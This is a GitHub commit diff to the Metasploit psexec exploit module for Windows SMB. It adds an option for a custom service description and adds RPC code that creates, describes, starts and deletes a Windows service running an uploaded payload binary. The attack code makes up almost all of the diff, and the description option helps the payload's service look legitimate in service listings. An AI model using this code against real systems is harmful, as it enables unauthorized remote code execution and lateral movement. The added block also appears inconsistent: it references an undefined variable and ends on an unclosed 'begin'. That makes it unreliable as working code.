Skip to content

Commit 978bdbb

Browse files
Florian GaultierMeatballs1
authored andcommitted
Custom Service Description
1 parent acc876a commit 978bdbb

File tree

1 file changed

+125
-1
lines changed

1 file changed

+125
-1
lines changed

modules/exploits/windows/smb/psexec.rb

Lines changed: 125 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -80,7 +80,8 @@ def initialize(info = {})
8080
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
8181
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
8282
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
83-
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil])
83+
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
84+
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
8485
], self.class)
8586
end
8687

@@ -152,6 +153,7 @@ def exploit
152153
simple.disconnect("ADMIN$")
153154
else
154155
servicename = rand_text_alpha(8)
156+
servicedescription = datastore['SERVICE_DESCRIPTION']
155157

156158
# Upload the shellcode to a file
157159
print_status("Uploading payload...")
@@ -199,6 +201,128 @@ def exploit
199201

200202
psexec(file_location, false)
201203

204+
print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
205+
stubdata =
206+
scm_handle +
207+
NDR.wstring(servicename) +
208+
NDR.uwstring(displayname) +
209+
210+
NDR.long(0x0F01FF) + # Access: MAX
211+
NDR.long(0x00000110) + # Type: Interactive, Own process
212+
NDR.long(0x00000003) + # Start: Demand
213+
NDR.long(0x00000000) + # Errors: Ignore
214+
NDR.wstring( file_location ) + # Binary Path
215+
NDR.long(0) + # LoadOrderGroup
216+
NDR.long(0) + # Dependencies
217+
NDR.long(0) + # Service Start
218+
NDR.long(0) + # Password
219+
NDR.long(0) + # Password
220+
NDR.long(0) + # Password
221+
NDR.long(0) # Password
222+
begin
223+
response = dcerpc.call(0x0c, stubdata)
224+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
225+
svc_handle = dcerpc.last_response.stub_data[0,20]
226+
svc_status = dcerpc.last_response.stub_data[24,4]
227+
end
228+
rescue ::Exception => e
229+
print_error("Error: #{e}")
230+
return
231+
end
232+
233+
##
234+
# CloseHandle()
235+
##
236+
print_status("Closing service handle...")
237+
begin
238+
response = dcerpc.call(0x0, svc_handle)
239+
rescue ::Exception
240+
end
241+
242+
##
243+
# OpenServiceW
244+
##
245+
print_status("Opening service...")
246+
begin
247+
stubdata =
248+
scm_handle +
249+
NDR.wstring(servicename) +
250+
NDR.long(0xF01FF)
251+
252+
response = dcerpc.call(0x10, stubdata)
253+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
254+
svc_handle = dcerpc.last_response.stub_data[0,20]
255+
end
256+
rescue ::Exception => e
257+
print_error("Error: #{e}")
258+
return
259+
end
260+
261+
if servicedescription
262+
##
263+
# ChangeServiceConfig2W()
264+
##
265+
print_status("Change the service description (#{servicedescription})...")
266+
begin
267+
stubdata =
268+
svc_handle +
269+
NDR.long(1) +
270+
NDR.long(1) +
271+
NDR.long(0x0200) +
272+
NDR.long(0x04000200) +
273+
NDR.wstring(servicedescription)
274+
275+
response = dcerpc.call(0x25, stubdata)
276+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
277+
end
278+
rescue ::Exception => e
279+
print_error("Error: #{e}")
280+
end
281+
end
282+
283+
##
284+
# StartService()
285+
##
286+
print_status("Starting the service...")
287+
stubdata =
288+
svc_handle +
289+
NDR.long(0) +
290+
NDR.long(0)
291+
begin
292+
response = dcerpc.call(0x13, stubdata)
293+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
294+
end
295+
rescue ::Exception => e
296+
print_error("Error: #{e}")
297+
return
298+
end
299+
300+
##
301+
# DeleteService()
302+
##
303+
print_status("Removing the service...")
304+
stubdata =
305+
svc_handle
306+
begin
307+
response = dcerpc.call(0x02, stubdata)
308+
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
309+
end
310+
rescue ::Exception => e
311+
print_error("Error: #{e}")
312+
end
313+
314+
##
315+
# CloseHandle()
316+
##
317+
print_status("Closing service handle...")
318+
begin
319+
response = dcerpc.call(0x0, svc_handle)
320+
rescue ::Exception => e
321+
print_error("Error: #{e}")
322+
end
323+
324+
begin
325+
202326
print_status("Deleting \\#{filename}...")
203327
sleep(1)
204328
#This is not really useful but will prevent double \\ on the wire :)

0 commit comments

Comments
 (0)